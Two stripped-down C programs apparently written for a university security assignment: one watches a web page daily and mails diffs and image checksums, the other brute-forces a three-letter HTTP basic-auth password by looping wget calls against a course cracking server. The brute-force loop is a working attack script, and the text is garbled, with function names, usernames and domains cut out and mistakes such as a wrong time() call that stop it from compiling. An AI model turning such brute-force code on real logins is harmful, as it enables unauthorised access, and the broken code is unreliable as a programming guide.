#include<stdio.h>
#include<stdlib.h>

int ()
{

FILE *fin1;
FILE *fin2;
int flag=0;


while(1)
{
    
        system("wget -p http://www.cs.rmit.edu./students");

        system("cd www.cs.rmit.edu./");

    
    
   if(flag>0)
   {
    
    fin1=fopen("./watchtext/index.html","r");
    fin2=fopen("./watchtext/test2.txt","r");
    system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");
    system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");
    system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");
    system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");
    system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");
    system("rm ./www.cs.rmit.edu./test2.txt");
           
    fclose(fin2);
    fclose(fin1);   
   }    
  
    if(flag==0)
    {
     system("mkdir watchtext");     
     if((fin1=fopen("./watchtext/index.html","r"))==NULL)
     {
      system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");
      system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");
      
      flag++;
      }
     
   } 
    
  
  
   printf("Running every 24 hours");     
  sleep(86400); 
  
}
 system("rmdir ./watchtext");      
}       
       
       
       
       

# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <sys/time.h>
# include <strings.h>

int ()
{

		
	char* check = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";		
	char s[100];
	char charcopy[200];
	
	FILE* f;					
		
	int i,j,k;

	int starting,ending;							
	
	int totaltime;
	
	starting=time();								

	for (i=0;i<strlen(check);i++)
	{
		for(j=0;j<strlen(check);j++)						
		{
			for(k=0;k<strlen(check);k++)
			{
				strcpy(charcopy,"wget --http-user= --http-passwd=    -nv -o logfile http://sec-crack.cs.rmit.edu./SEC/2/");
				
				
				
				
				charcopy[40]=check[i];              			
				charcopy[41]=check[j];					
				charcopy[42]=check[k];
												
				system(charcopy);	
				printf("%c %c %c\n",check[i],check[j],check[k]);
				printf("%s\n",charcopy);
				
				f = fopen("logfile","r");				
				
				if(f != (FILE*) NULL)
				{
					fgets(s,30,f);					
					printf("%s\n",s);
					if(strcmp(s,"Authorization failed.\n")!=0)
					{
						ending=time();	
						totaltime=ending-starting;
						totaltime=totaltime/1000000000;		
						totaltime=totaltime/60;
	
						printf("Total time_var taken  break the Password is %lld minutes\n", totaltime);
						exit(0);
					}
				}
				
				fclose(f);						
			}
		}
	} 
	
	
	return 1;
}
